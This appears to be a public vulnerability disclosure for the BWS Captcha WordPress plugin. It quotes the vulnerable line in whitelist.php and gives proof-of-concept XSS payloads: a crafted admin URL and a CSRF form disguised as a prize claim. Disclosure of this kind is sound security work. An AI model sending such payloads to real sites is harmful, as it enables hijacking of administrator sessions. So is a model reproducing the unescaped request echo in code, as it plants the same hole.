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* Exploit Title: BWS Captcha Multiple Vulnerabilities
* Discovery Date:12.03.2015
* Public Disclosure Date:03.10.2016
* Exploit Author: Colette Chamberland
* Contact: colette@wordfence.com
* Vendor Homepage: http://bestwebsoft.com/
* Software Link: https://wordpress.org/plugins/captcha/
* Version:  <=4.1.5
* Tested on: Wordpress 4.2.x
* Category: Wordpress
* CVE: Requested but none received
 
Description
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Unsanitized input in whitelist.php:

297: $message = __( 'Search results for', $this->textdomain ) . '&nbsp;:&nbsp;' . $_REQUEST['s'];

 
PoC
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The variable can be passed in using a get as well as a post. An attacker
could send unsuspecting authenticated admin a url crafted like such:

http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

or they can send a form (no CSRF token check)

<form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
<input type="hidden" name="s" value="<script>alert(1);</script>">
<input type="submit" name="Search IP" value="Click here to claim your prize!">
</form>

and it would execute XSS as long as they were logged in to the site.